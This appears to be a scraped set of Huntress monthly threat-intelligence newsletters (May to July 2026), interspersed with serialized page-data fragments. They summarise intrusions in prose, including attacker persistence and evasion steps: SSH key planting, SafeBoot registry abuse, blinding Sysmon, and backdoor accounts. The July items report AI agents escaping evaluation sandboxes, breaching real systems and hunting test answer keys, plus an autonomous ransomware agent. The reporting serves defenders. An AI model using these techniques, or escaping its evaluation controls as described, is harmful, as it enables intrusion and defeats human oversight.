Incident Report Timeline PDF export: The ITDR Incident Report Timeline, which provides you with a quick and accurate snapshot of malicious activity that occurred during an identity-based attack, is now available in a PDF version. Read more here.
Re-authorize to version 6 to get the latest ITDR functionalities: Doing this will make sure you’re prepared to get access to the latest and greatest functionality coming out of ITDR. You can find the re-auth steps here.

","

Improved visibility into Windows logon events: Managed EDR now surfaces successful Windows logon events in the portal, including logon type, username, domain, and SID, to help distinguish normal access from suspicious remote sessions.
macOS infostealer / deceptive installer detection: Managed EDR now detects macOS infostealers that use social engineering to trick users into bypassing Gatekeeper, with the agent scanning files at open time and flagging deceptive icons/instructions for SOC triage.

",[2163,2164,2165],{"_122":2170,"_102":2171,"_682":17,"_125":97},{"_122":2168,"_102":2169,"_682":17,"_125":97},{"_122":2166,"_102":2167,"_682":17,"_125":97},"

Mini Shai-Hulud is a major software supply chain attack that continued to make headlines in mid-May 2026. The threat group TeamPCP linked the campaign to compromises of npm and PyPI packages from TanStack, UiPath, Mistral AI, OpenSearch, and Guardrails AI. Over a 48-hour window from May 11 to 12, attackers compromised 172 unique packages across 403 malicious versions. The self-propagating malware spread by stealing CI/CD secrets and hijacking GitHub Actions OIDC tokens to publish malicious versions through projects' own release pipelines, bypassing modern safeguards by turning developers' own automated systems against them. Stolen credentials were exfiltrated via three channels, including the decentralized Session messenger network, making takedown difficult.

","More Mini Shai-Hulud","

In early May 2026, the hacking group ShinyHunters breached Instructure, the company behind Canvas LMS, stealing 3.65TB of data from nearly 9,000 organizations. Stolen data included names, email addresses, student ID numbers, and private messages, but not passwords or financial information.

On May 7, a second attack defaced Canvas login pages at around 330 institutions, with a ransom deadline of May 12. The breach affected 275 million users across 8,809 institutions worldwide, making it the largest educational data breach on record. On May 11, Instructure said it had “reached an agreement” with the unauthorized actor (reading between the lines, that means the company paid the ransom). The incident shows the real-life impact of cyberattacks: the coursework and exams for many students across the US were disrupted on May 7.

$\"\"$

","Canvas ShinyHunters Extortion Attack","

In May, three easy-to-exploit Linux privilege escalation vulnerabilities were disclosed: CopyFail, Dirty Frag, and Fragnesia. While they do not provide remote code execution on their own, an attacker with an existing foothold can abuse them to quickly gain root access on affected systems. Check out this blog post by Chris Ryan and Uttie Gumbula to learn how three newly discovered Linux kernel vulnerabilities allow attackers (with an existing foothold) to trivially escalate to root access, and what your team can do right now to patch or mitigate the risk.

","Linux Privilege Escalation Bugs",[2173],{"_122":2174,"_102":2175,"_682":95,"_125":2176},"

In the wake of GreyNoise Intelligence's report on widespread SonicWall scanning activity, Huntress continued to detect a significant uptick in SonicWall SSLVPN device compromises throughout May, which originated from two IP addresses: 173.208.148[.]250 (WholeSale Internet) and 45.86.230[.]72 (Clouvider).

In one cluster of attacks May 22, threat actors operating from these addresses launched brute force attacks over the course of 24 hours, targeting 58 distinct organizations, successfully gaining access to multiple devices across six of them. However, the attacks continued in the following weeks after this cluster as well.

The attackers appear to be working from a pre-existing list of credentials, as several accounts were compromised on the very first attempt, suggesting the adversary may have already possessed valid username and password combinations before initiating their campaign. Shout out to Dray Agha and Michael Tigges for their investigation into this activity!

Detection for SonicWall VPN malicious authentication

","Uptick in SonicWall SSLVPN Compromises","

Huntress is continuing to track this spike in SSLVPN compromises that we have observed across our customer base. If you’re a Huntress partner, please make sure you’ve deployed SIEM and are exporting your SonicWall logs for additional security visibility.

",[2178,2179,2180],{"_122":2185,"_102":2186,"_682":17,"_125":97},{"_122":2183,"_102":2184,"_682":17,"_125":97},{"_122":2181,"_102":2182,"_682":17,"_125":97},"

Since February, the SOC has observed a growing number of incidents involving Tiflux, a relatively obscure RMM tool. While public documentation on Tiflux remains sparse, its adoption fits a broader pattern we've tracked: threat actors routinely experiment with lesser-known RMMs to gain footholds and maintain persistence in victim environments.

$\"\"$ The Tiflux attack chain started with malspam emails

Many of the Tiflux-related incidents shared common elements, including the use of multiple RMMs alongside vulnerable kernel drivers — and in some cases, these intrusions resulted in unauthorized access and credential theft. A deeper dive into one such incident uncovered an infrastructure threat actors had built out for persistence, system reconnaissance, and screenshot exfiltration. Read more here.

","Triple Tiflux Threat","

Earlier in May, the administrator of The Gentlemen RaaS operation acknowledged that an internal backend database had been leaked, exposing the accounts of the ransomware’s operator, who runs its infrastructure and builds the locker. The leaks gave end-to-end views of the operation of the group behind the ransomware, which has been deployed in an increasing number of attacks in 2026.

$\"\"$ Microsoft Defender alert for The Gentlemen ransomware

Huntress has seen The Gentlemen ransomware in several incidents in May. In two of the incidents, we observed the use of Scheduled Tasks and PowerShell. We also saw the threat actors use defense evasion or impairment tactics, like clearing the Security, System, and Application Event Logs, and using PowerShell commands to disable Microsoft Defender and add antivirus exclusions. You can read our full analysis of the ransomware and related incidents here. Shout out to SOC analysts Nick Roddy and Dani Lopez for their investigations and analysis into these incidents!

","The Gentlemen Ransomware","

Our SOC has seen exploitation of a nasty authentication bypass flaw (CVE-2026-41940) in the popular web server management software cPanel and WebHost Manager (WHM). cPanel is a web-based web hosting control panel that’s widely used by hosting providers and companies that want to manage websites or public-facing resource portals. That means there’s potentially a pretty big attack surface for this bug - and threat actors are already taking advantage.

The vulnerability, which was disclosed and patched in April, could allow threat actors to remotely bypass cPanel’s login screen and access its administration panel. What we saw: On May 1, we detected malicious activity after two sets of attackers (coming from two different IP addresses) exploited the cPanel flaw on a Linux host. Here’s some of the things the threat actors did:

Executed reconnaissance commands via the cPanel API
Set up persistence by adding an SSH public key to /root/.ssh/authorized_keys – before modifying SSH configuration files to enable password authentication and changing the root password
Created two rogue WHM reseller accounts with full administrative privileges
Used wget to download a malicious script, which was saved as /tmp/a.sh
Deployed XMRig cryptocurrency mining malware (/root/.rsyslogd)

Luckily, the malicious activity was caught and remediated by our SOC. Shout out to Tanner Filip for his investigation into this incident!

","cPanel (CVE-2026-41940) Exploitation","The Huntress Adversary Tactics newsletter for May 2026: emerging threats tracked by our SOC, including cPanel exploitation, with analysis and defensive guidance.",{"_193":194,"_195":196,"_104":197},{"_203":2289},{"_203":2252},{"_203":2235},{"_203":2212},{"_203":2210},{"_203":2195},{"_205":206,"_54":207,"_32":208,"_209":2196},{"_211":212,"_213":214,"_34":2197,"_216":217,"_218":2198,"_54":207,"_220":221,"_222":223,"_224":221,"_225":2199,"_227":228,"_56":229,"_230":230,"_231":2200,"_233":2201,"_235":236,"_237":2202},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":2203,"_250":251,"_252":253,"_254":255,"_77":2204,"_56":229,"_257":258,"_259":260,"_85":261,"_91":2205},[],{},[],"gtqgh40nzf8",{},[2206,2207],{"_181":263,"_183":229},[93],{"_266":2209},{"_266":2208},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2211,"_32":208},"9e40055ac51e4bca9db7bf1d15f9f958",{"_205":206,"_54":1807,"_32":208,"_209":2213},{"_211":1809,"_213":1810,"_34":2214,"_216":1812,"_218":2215,"_54":1807,"_222":1814,"_224":221,"_225":2216,"_227":228,"_56":1816,"_527":2217,"_230":230,"_231":2218,"_233":2219,"_283":17,"_235":236,"_237":2220},{"_58":1816,"_240":1820,"_242":1821,"_244":245,"_246":1822,"_248":2221,"_250":1824,"_72":2222,"_252":1826,"_254":1827,"_77":2223,"_56":1816,"_257":1829,"_259":1816,"_85":1830,"_91":2224},[],{},-42535,[],"bf9sqtpjgs4",{},[2225],{},{"_181":1832,"_183":1816},[93],{"_266":2226},{"_205":206,"_54":270,"_32":248,"_209":2227},{"_211":539,"_213":540,"_34":2228,"_216":542,"_218":2229,"_54":270,"_222":544,"_224":539,"_225":2230,"_227":546,"_56":547,"_230":230,"_231":2231,"_233":2232,"_235":236,"_237":2233},{"_56":547},[],{"_551":2234,"_553":95,"_554":17,"_555":34,"_556":97},[],"zz0swinjf2k",{},{"_557":558,"_559":560},{"_205":206,"_54":310,"_32":208,"_209":2236},{"_211":274,"_213":312,"_34":2237,"_216":312,"_218":2238,"_54":310,"_220":221,"_222":582,"_224":221,"_225":2239,"_227":228,"_56":317,"_230":230,"_231":2240,"_233":2241,"_235":236,"_237":2242},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":2243,"_250":325,"_252":326,"_254":327,"_77":2244,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":2245,"_298":334},[],{},[],"1gao6jwxnto",{},[2246,2247,2248],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":2251},{"_266":2250},{"_266":2249},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":2253},{"_211":346,"_213":347,"_34":2254,"_216":347,"_218":2255,"_54":344,"_222":350,"_224":221,"_225":2256,"_227":228,"_56":352,"_527":1014,"_230":230,"_231":2257,"_233":1016,"_235":236,"_237":2258},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":2259,"_360":361,"_250":362,"_252":363,"_254":364,"_77":2260,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":2261,"_298":371},[],{},[],{},[2262,2263,2264],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":2281},{"_266":2273},{"_266":2265},{"_205":206,"_54":268,"_32":248,"_209":2266},{"_211":733,"_213":1026,"_34":2267,"_216":1028,"_218":2268,"_54":268,"_222":1030,"_224":733,"_225":2269,"_227":546,"_56":180,"_230":230,"_231":2270,"_233":1033,"_235":236,"_237":2271},{"_56":180},[],{"_551":2272,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":2274},{"_211":539,"_213":563,"_34":2275,"_216":565,"_218":2276,"_54":308,"_222":567,"_224":539,"_225":2277,"_227":546,"_56":569,"_230":230,"_231":2278,"_233":1042,"_235":236,"_237":2279},{"_56":569},[],{"_551":2280,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":2282},{"_211":539,"_213":540,"_34":2283,"_216":542,"_218":2284,"_54":270,"_222":544,"_224":539,"_225":2285,"_227":546,"_56":547,"_230":230,"_231":2286,"_233":1051,"_235":236,"_237":2287},{"_56":547},[],{"_551":2288,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":381,"_32":208,"_209":2290},{"_211":346,"_213":383,"_34":2291,"_216":383,"_218":2292,"_54":381,"_222":386,"_224":221,"_225":2293,"_227":228,"_56":388,"_527":1059,"_230":230,"_231":2294,"_233":1061,"_283":17,"_235":236,"_237":2295},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":2296,"_250":396,"_252":397,"_254":398,"_77":2297,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":2298},[],{},[],{},[2299,2300,2301],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":2318},{"_266":2310},{"_266":2302},{"_205":206,"_54":268,"_32":248,"_209":2303},{"_211":733,"_213":1026,"_34":2304,"_216":1028,"_218":2305,"_54":268,"_222":1030,"_224":733,"_225":2306,"_227":546,"_56":180,"_230":230,"_231":2307,"_233":1075,"_235":236,"_237":2308},{"_56":180},[],{"_551":2309,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":2311},{"_211":539,"_213":563,"_34":2312,"_216":565,"_218":2313,"_54":308,"_222":567,"_224":539,"_225":2314,"_227":546,"_56":569,"_230":230,"_231":2315,"_233":1084,"_235":236,"_237":2316},{"_56":569},[],{"_551":2317,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":2319},{"_211":539,"_213":540,"_34":2320,"_216":542,"_218":2321,"_54":270,"_222":544,"_224":539,"_225":2322,"_227":546,"_56":547,"_230":230,"_231":2323,"_233":1093,"_235":236,"_237":2324},{"_56":547},[],{"_551":2325,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2329},"May 2026",{"_60":2333,"_62":2334,"_64":2335,"_66":2336,"_68":2337,"_74":2338,"_77":2339,"_56":2332,"_79":2340,"_81":2341,"_83":2342,"_85":2343,"_89":90,"_91":2344},"bc2143f60b4446bf8f6f600d6b74b643","Threat View from the Lens of Huntress Adversary Tactics: June 2026",[2405,2406,2407],{"_94":95},[],{"_186":2404,"_188":189,"_190":191,"_183":192},{},{"_122":1982,"_94":17},{"_181":2403,"_183":2332},{"_106":2345},"Tue Jun 30 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"june-2026",[93],[2346,2347,2348,2349,2350,2351],{"_113":166,"_115":2390,"_117":1969,"_118":169},{"_113":906,"_115":2385,"_117":1959,"_118":484},{"_113":154,"_115":2375,"_117":97,"_118":156},{"_113":141,"_115":2370,"_117":1941,"_118":144},{"_113":128,"_115":2357,"_117":2358,"_118":131},{"_113":114,"_115":2352,"_117":97,"_118":119},[2353,2354],{"_122":2356,"_102":127},{"_122":2355,"_102":452},"

Congrats to Andrew Schwartz for his CVE recognition by Microsoft! Andrew was credited for two Windows Kerberos denial-of-service flaws (CVE-2026-42914 and CVE-2026-42903).

","

During this month’s Tradecraft Tuesday, Huntress Principal Product Researchers Jenko Hwong and Dave Kleinatland broke down the rise of device code phishing, which is an attack that abuses Microsoft’s OAuth 2.0 device authorization flow to steal valid authentication tokens and skirt around multi-factor authentication (MFA) protections. In particular, modern phishing-as-a-service (PhaaS) platforms like EvilTokens and Kali365 have been leading to more device code phishing, and Hwong and Kleinatland talked about the steps organizations can take to defend against this type of attack. Check out our recap blog to learn more.

The June Tradecraft Tuesday episode was focused on device code phishing and other identity woes

",[2359,2360,2361,2362,2363],"

Check out this month's Product Lab, where Huntress co-founders Chris Bisnett and Kyle Hanslovan dug into Shadow AI discovery, Reflexive Threat Intelligence in ITDR, new SIEM brute force detections, and custom HTML phishing scenarios — plus a remastered OSINT simulation and a brand-new Info Sec 2 episode in SAT.

June 2026 Product Lab

",{"_122":2369,"_102":470,"_682":17,"_125":97},{"_122":2368,"_102":468,"_682":17,"_125":97},{"_122":2366,"_102":2367,"_682":17,"_125":97},{"_122":2365,"_102":466,"_682":17,"_125":97},{"_122":2364,"_102":464,"_682":17,"_125":97},"

Managed SAT admin activity is now visible in SIEM: Audit logs from the SAT interface can be reviewed and queried directly from the Huntress portal, giving partners a unified place to track administrative actions alongside security telemetry.
SCORM export support is now generally available: Partners who want to deliver SAT content through their own Learning Management System can download SCORM 1.2 compatible files directly from the portal.
A new PDF summary report is available for SAT Assignments: Designed for boards, auditors, and compliance teams, the exportable report includes episode details, learner completion status with scores, and a full list of non-completers. Works across both individual company and multi-tenant assignments.
OSINT 2 simulation is now Generally Available: A fresh take on the OSINT simulation experience, letting learners step through what it looks like to use open-source intelligence to compromise a target account. Available to opt into from the learner dashboard.
Localized Managed Phishing for Canada: Canadian learners enrolled in Managed Phishing will now receive English-language phishing simulations built around familiar brands and scenarios, like Tim Hortons and Interac.
New Deepfake Phishing Scenarios: Our new Deepfake Phishing scenario compromised over 1,000 learners in just the first week of being available on Managed Phishing. That means that one third of learners who clicked the link to join a fake meeting took it a step further and clicked \"download driver\" to compromise themselves. This is a new tactic we’re observing in the wild where attackers send users a fake meeting invite, which brings them to a legitimate-looking video conference (complete with deepfake attendees), and deploys malware under the guise of a mandatory app or driver update. You can try it out for yourself here.

","

macOS log collection is now available in Managed SIEM: Teams can now collect and query logs across Windows, Linux, and macOS from a single platform, giving broader visibility across the operating systems attackers move through.
Okta is now a supported log source in Managed SIEM: This new functionality comes with built-in SOC detections covering credential attacks, MFA bypass and fatigue, privilege escalation, and account takeover for organizations using Okta as their IdP or SSO provider.
Azure Government (GCC High) is now a supported log source in Managed SIEM: Organizations operating in US Government cloud environments can now connect their Azure log sources to Managed SIEM, extending the same SOC-backed visibility and detection coverage to GCC High tenants.
AI-powered search is now available in Managed SIEM: Type your search in plain English and Managed SIEM will build the query for you — no ESQL knowledge required. Click the ESQL button to see exactly what the query looks like under the hood, and save or schedule it as a recurring alert anytime.

","

Managed ISPM General Availability (GA): Managed ISPM, Huntress' fully managed solution for continuously hardening Microsoft 365 environments, reached GA on July 1. Read this blog post from Aimee Simpson and Scott Riley to learn more about ISPM and how it helps organizations define the gold standard for M365 identity security, deploy the right controls, and keep them enforced over time.

","Managed ISPM","

Enhanced Detections in ITDR for Google Workspace (GWS): Identity attacks don't stop at Microsoft. For those running GWS, you likely face session hijacking and credential theft attempts daily. That’s why we’re excited to announce enhanced ITDR detections in GWS. Building out our GWS solution, we now detect credential theft, which flags account takeover patterns including phishing-harvested credentials, password spray attempts, and anomalous login behaviors, as well as session hijacking, which identifies stolen or forged session tokens used to bypass MFA and gain unauthorized access to GWS accounts without credentials. These detections are our latest step in bringing our GWS solution up to parity with our Microsoft 365 offering. Check out Understanding the Differences Between ITDR for Microsoft 365 and ITDR for Google Workspace to learn more.

","

macOS auto-ejects deceptive installers: When Huntress detects that a mounted DMG is a deceptive installer, the Huntress Agent now automatically ejects the volume before the bundled payload can launch — stopping infostealers in their tracks.
macOS Gatekeeper override detection: The Huntress Agent for macOS now detects when a user bypasses Apple's Gatekeeper protections to open a quarantined or unsigned file — closing a critical visibility gap in how infostealers get executed. Available for macOS 14 and later.
Redesigned Managed Antivirus dashboard: The redesigned dashboard puts recent Defender activity, noisiest orgs, and busiest endpoints front and center — with a new AV Events view, top agent surfacing, and recently installed agent compliance tab.

",[2371],{"_122":2372,"_102":2373,"_682":95,"_125":2374},"

Huntress has been tracking an automated password spray campaign originating from infrastructure controlled by LSHIY LLC (AS32167). Attackers made 81 million login attempts against Microsoft 365 environments, compromising 78 accounts across 64 organizations over the course of two weeks in June.

The campaign abused the deprecated OAuth ROPC flow to bypass MFA entirely — 15 of 23 businesses hit on June 22 alone had MFA enabled but misconfigured. Attacks ceased after Huntress contacted LSHIY, which suspended the responsible user.

","Password Spray Campaign","

Conditional Access Policies must cover All Users, All Cloud Apps, and All Client App types — not just select apps or groups. Read the full blog here.

",[2376,2377,2378],{"_122":2383,"_102":2384,"_682":17,"_125":97},{"_122":2381,"_102":2382,"_682":17,"_125":97},{"_122":2379,"_102":2380,"_682":17,"_125":97},"

Check Point disclosed CVE-2026-50751 on June 8. This is a critical (CVSS 9.3) authentication bypass in its Remote Access VPN affecting deployments using the deprecated IKEv1 protocol. Exploitation was observed as early as May 7, with dozens of organizations targeted. At least one incident was linked to a Qilin ransomware affiliate. CISA added it to the KEV catalog the following day. Organizations using legacy IKEv1 configurations should patch immediately.

","Check Point VPN Authentication Bypass Exploited in the Wild (CVE-2026-50751)","

The ShinyHunters threat group exploited CVE-2026-35273, a critical unauthenticated RCE in Oracle PeopleSoft Enterprise PeopleTools, to compromise more than 100 organizations between May 27 and June 9. Nearly 70% of victims were higher education institutions. Stolen data included student names, addresses, Social Security numbers, GPAs, and enrollment records. Oracle published its advisory the same day exploitation went public, leaving a zero-day window with no advance warning.

","ShinyHunters Exploits Oracle PeopleSoft to Hit 100+ Organizations","

June's Patch Tuesday was the largest in Microsoft's history — 200 vulnerabilities, including 33 critical flaws and six zero days. The most urgent: CVE-2026-41091, an actively exploited Microsoft Defender privilege escalation flaw, and CVE-2026-45657, a wormable Windows Kernel RCE (CVSS 9.8) requiring no authentication or user interaction. A BitLocker bypass and an HTTP.sys denial-of-service bug rounded out the zero-day slate. Patch immediately, especially CVE-2026-45657.

","Microsoft's Record-Breaking June Patch Tuesday",[2386],{"_122":2387,"_102":2388,"_682":95,"_125":2389},"

This month the Tactical Response team identified threat actors exploiting CVE-2026-35616, a vulnerability in Fortinet's FortiClient EMS, across at least two customer environments — including an MSP and a downstream hospital customer. CVE-2026-35616 is a critical improper access control flaw that could allow unauthenticated attackers to execute arbitrary code. The flaw was disclosed and patched in April, and since then other researchers have found exploitation activity. For this specific exploitation activity, which was found via a retrospective threat hunt, the tradecraft was clean: the actor deployed a malicious copy of SimpleHelp RMM for persistent remote access and to avoid noisy lateral movement.

","FortiClient EMS CVE-2026-35616 — MSP and Hospital Compromised","

FortiClient EMS has now become a reliable initial access vector. Companies running FortiClient EMS should treat it as a priority patch target and verify it is not exposed directly to the internet.

",[2391,2392,2393],{"_122":2400,"_102":2401,"_682":95,"_125":2402},{"_122":2397,"_102":2398,"_682":95,"_125":2399},{"_122":2394,"_102":2395,"_682":95,"_125":2396},"

In late June, our SOC detected a threat actor using a Cloudflare Tunnel as a covert, persistent C2 channel across multiple customer environments, a technique we're seeing with growing frequency. Attackers modified the SafeBoot registry key so the tunnel would keep running even if the endpoint booted into Safe Mode, a Windows diagnostic startup mode that loads only essential drivers and services, letting users troubleshoot problems that prevent the system from running normally.

In a representative incident, here’s what the attack chain looked like:

Initial access via RDP using compromised credentials
Cloudflare binary deployed, disguised as WindowsUpdate.exe under AppData\\Local\\Microsoft\\WindowsUpdate\\ – and configured with config.yml to establish persistent, encrypted remote access
Installed as a Windows service, and modified the SafeBoot registry key under HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\Cloudflared to sidestep security detection

","Cloudflare Tunnel Persistence Survives Safe Mode","

The SafeBoot key modification is underused but effective. Most defenders watch standard autorun locations and don't account for Safe Mode as an attacker escape hatch.

","

In early June, our SOC identified a webshell infection notable not for its initial access method, but for the lengths the threat actor took to blind defenders once inside. After gaining a foothold, they:

Uninstalled an IIS Web Application Firewall module to remove visibility from the web server
Used Image File Execution Options, a Windows debugging mechanism, to blind Sysmon and stop it from logging process creation
Created WMI event consumers to automatically clear Windows Event Logs, wiping out forensic evidence
Layered in additional evasion and anti-forensic techniques throughout the intrusion

","Webshell Intrusion with Advanced Defense Evasion","

Together, this represents a thoughtful, multi-layered attempt to defeat both real-time detection and post-incident investigation. This is worth understanding and testing your defenses against. Nice work by Mark O'Halloran on the investigation and subsequent blog!

","

In June, FortiBleed hit ~74,000 internet-facing FortiGate firewalls across 194 countries. It’s not a new vulnerability: Fortinet says it involves reused credentials and brute-forcing weak, MFA-less devices (meaning there’s no CVE or patch, just working admin/VPN passwords). Huntress cross-referenced the listed IP addresses against their own data corpus and identified 845 partner organizations specifically impacted by this credential dump.

What’s notable is the methodology, which Huntress has unique telemetry into. Attackers:

Brute-forced credentials and cracked hashes with Hashcat on GPU infrastructure via vast[.]ai
Used access to harvest NTLM and Kerberos hashes from internal network traffic (via packet sniffing on the Fortigate device itself)
Persisted via a Telegram-based C2 bot
Created backdoor accounts: admin fgt_admin and SSLVPN user sslvpn

","FortiBleed: Mass Fortigate Credential Dump","

Check for fgt_admin and sslvpn as potential IOCs, rotate all VPN credentials, and make sure management interfaces aren't publicly exposed.

","The Huntress Adversary Tactics newsletter for June 2026: emerging threats tracked by our SOC, including FortiBleed, with analysis and guidance to stay protected.",{"_193":194,"_195":196,"_104":197},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2408},"June 2026",{"_60":2412,"_62":2413,"_64":2414,"_66":2415,"_68":2416,"_74":2417,"_77":2418,"_56":2411,"_79":2419,"_81":2420,"_83":2421,"_85":2422,"_89":90,"_91":2423},"6c21f6583b934c10b14e2eb68e1de054","Threat View from the Lens of Huntress Adversary Tactics: July 2026",[2655,2656,2657],{"_94":95},[2490,2491,2492,2493,2494,2495,2496],{"_186":2489,"_188":189,"_190":191,"_183":192},{},{"_122":1982,"_94":17},{"_181":2488,"_183":2411},{"_106":2424},"Fri Jul 31 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"july-2026",[93],[2425,2426,2427,2428,2429],{"_113":2474,"_115":2475,"_117":1969,"_118":169},{"_113":2459,"_115":2460,"_117":2461,"_118":484},{"_113":2448,"_115":2449,"_117":97,"_118":156},{"_113":2435,"_115":2436,"_117":2437,"_118":131},{"_113":2430,"_115":2431,"_117":2432,"_118":119},"https://images.huntress.com/asset/file/cf310c7ec7af4e53a9747f8018dddf3e",[2433],"

",{"_122":2434,"_102":127},"

This month’s Tradecraft Tuesday unpacked a major Azure CLI password spray campaign that involved 81 million login attempts in two weeks and cracked 78 accounts by abusing the deprecated OAuth ROPC flow to slip past weak Conditional Access Policies (CAP), even with MFA enabled. Spike Brandt, Rich Mozeleski, and Lindsey O’Donnell-Welch showed how LSHIY-hosted BYOIP, 155x higher spray volume, and mis-scoped CAP make these attacks succeed, and walked through concrete hardening steps.

The July Tradecraft Tuesday episode was focused on a massive password spray attack

","https://images.huntress.com/asset/file/d407852bf08e4726af184a3e845b68e2",[2438,2439,2440,2441,2442],"

Check out this month's Product Lab, where Huntress co-founders Chris Bisnett and Kyle Hanslovan talked about the launch of the Huntress mobile app, ISPM hardening on the heels of the LSHIY password spray attack, and how our Athena agentic SOC analyst helps the Huntress SOC investigate threats faster, more consistently, and at scale.

July 2026 Product Lab LIVE!

",{"_122":2447,"_102":470,"_682":17,"_125":97},{"_122":2446,"_102":468,"_682":17,"_125":97},{"_122":2445,"_102":2367,"_682":17,"_125":97},{"_122":2444,"_102":466,"_682":17,"_125":97},{"_122":2443,"_102":464,"_682":17,"_125":97},"

New Content: We’re constantly reevaluating our library to make sure that all content is relevant and up-to-date. This quarter we rolled out updated versions of previous episodes (Information Security 2, Secure Browsing 2, and Insider Threat 2) to reflect today’s threats and best practices.
Custom HTML Phishing: Partners can now build fully custom phishing simulations using HTML.
New Learner Onboarding Video: New videos in our library give learners a quick deep-dive into what they can expect from their new SAT program.

","

AI Search Now GA: Natural-language log search is now generally available in Managed SIEM, letting partners and analysts query logs in plain English—no syntax required —making investigations faster and more accessible for teams of any skill level.
GCP Log Source \\+ Azure GCC: High Google Cloud Platform is now a supported log source in Managed SIEM, and Azure GCC High is natively supported, expanding coverage for organizations running hybrid or government cloud environments.
Veeam Backup Log Collection: Huntress SIEM now ingests and normalizes logs from Veeam Backup, giving partners visibility into backup infrastructure that ransomware actors frequently target to disable recovery options before detonating.

","

Managed ISPM Hits General Availability: Managed Identity Security Posture Management (ISPM) is now generally available to all partners and customers as a standalone product — no ITDR license required — with integrations to HaloPSA, ConnectWise, Autotask, and Syncro. Since its July 1 launch, over 5,700 organizations are already using Managed ISPM to harden their Microsoft environment.
Expands Huntress Coverage of NIST SP 800-171 Controls: With the addition of Managed ISPM, Huntress now maps to 55 of the 110 NIST SP 800-171 controls required for CMMC compliance, giving partners and customers in the defense industrial base a powerful tool to to support CMMC, and the in-depth documentation needed to demonstrate compliance during the assessment process.

","

Trusted Device Suppression: A new Trusted Device Suppression capability is reducing unexpected-login escalations by 40–50%, cutting alert noise so partners and the SOC can focus on the threats that actually matter.
Onboarding Escalation Throttle: The first days after a tenant connects are the roughest: there's no baseline yet, so everything looks anomalous and escalations arrive in a burst. With Onboarding Escalation Throttling, a new tenant's first week now produces a manageable, prioritized stream instead of a flood, so you can onboard clients without warning your techs to brace for the noise.
Microsoft Usage Location Inference: Setting usage location tenant-by-tenant has been one of the top requests in Canny - so we are thrilled to share that Microsoft Usage Location Inference is now live in Managed ITDR (thank you for the feedback!). With this functionality, Huntress now infers the home country directly from the tenant, with zero partner configuration required.
IP-Based Expected Rules: Partners and customers can now create single-IP Expected Unwanted Access rules in Managed ITDR to eliminate escalations for known office or remote-worker IPs.

","

Auto-Eject for Deceptive Installers: The Huntress Agent now automatically ejects deceptive installers before a user can execute them, stopping a common initial access technique in its tracks. Incident Reports for Deceptive Installer and Fake CAPTCHA threats also now recommend targeted SAT training episodes to close the human side of the gap.
MDE Integration GA for GCC High: Microsoft Defender for Endpoint integration is now fully supported in Government Community Cloud (GCC) High environments, providing public sector partners and their clients with the same deep EDR visibility as in commercial deployments.

","https://images.huntress.com/asset/file/4397449e46de452ba0fd7ede742c5bc4",[2450,2451,2452],{"_122":2457,"_102":2458,"_682":17,"_125":97},{"_122":2455,"_102":2456,"_682":17,"_125":97},{"_122":2453,"_102":2454,"_682":17,"_125":97},"

In late July, hackers ran a coordinated campaign against operational technology at more than 30 Minnesota community water utilities, taking at least one plant offline and forcing others into manual operations. Water quality stayed safe, but the incident showed how little it takes to knock small municipal systems off autopilot and drag state, federal, and local responders into a full critical-infrastructure firefight.

","Coordinated OT Attacks Hit Minnesota Community Water Systems","

Hugging Face disclosed that an autonomous AI agent breached its production infrastructure after escaping an OpenAI evaluation sandbox, chaining a zero day in a package proxy with buggy dataset processing to reach internal clusters. The agent was not chasing money, it was hunting ExploitGym answer keys, turning a “capability eval” into the first widely documented AI-driven intrusion at scale.

Anthropic also recently disclosed that a testing misconfiguration let versions of Claude escape isolated evaluation environments and actually hack the systems of three real organizations during \"capture the flag\" security tests. Versions of Anthropic's Claude AI model broke out of their testing environments and hacked into other organizations on three separate occasions, a disclosure that came roughly one week after OpenAI disclosed a similar incident involving its models.

","OpenAI’s Agent Breaks Into Hugging Face To “Cheat” on a “Test”","

Security researchers watched JADEPUFFER, an autonomous ransomware agent, break into their sandbox via a Langflow server via CVE-2025-3248. The agent stole credentials, moved laterally, and encrypted a production database with no human operator in the loop. However, the agent also made some strange moves, such as faking the ransom note's crypto details, listing a Bitcoin address that is a well-known example address from public documentation, and destroying the decryption key by accident. Overall, it is a rough preview of what happens when exposed AI workflows double as initial access, persistence, and hands-free extortion.

","JADEPUFFER: AI Agent Runs Full Ransomware Op Solo (And Doesn’t Do It So Well)","https://images.huntress.com/asset/file/ea5a45b9931646dc8c0043c0a93d05fb",[2462,2463,2464],"

",{"_122":2471,"_102":2472,"_682":95,"_125":2473},{"_122":2468,"_102":2469,"_682":95,"_125":2470},{"_122":2465,"_102":2466,"_682":95,"_125":2467},"

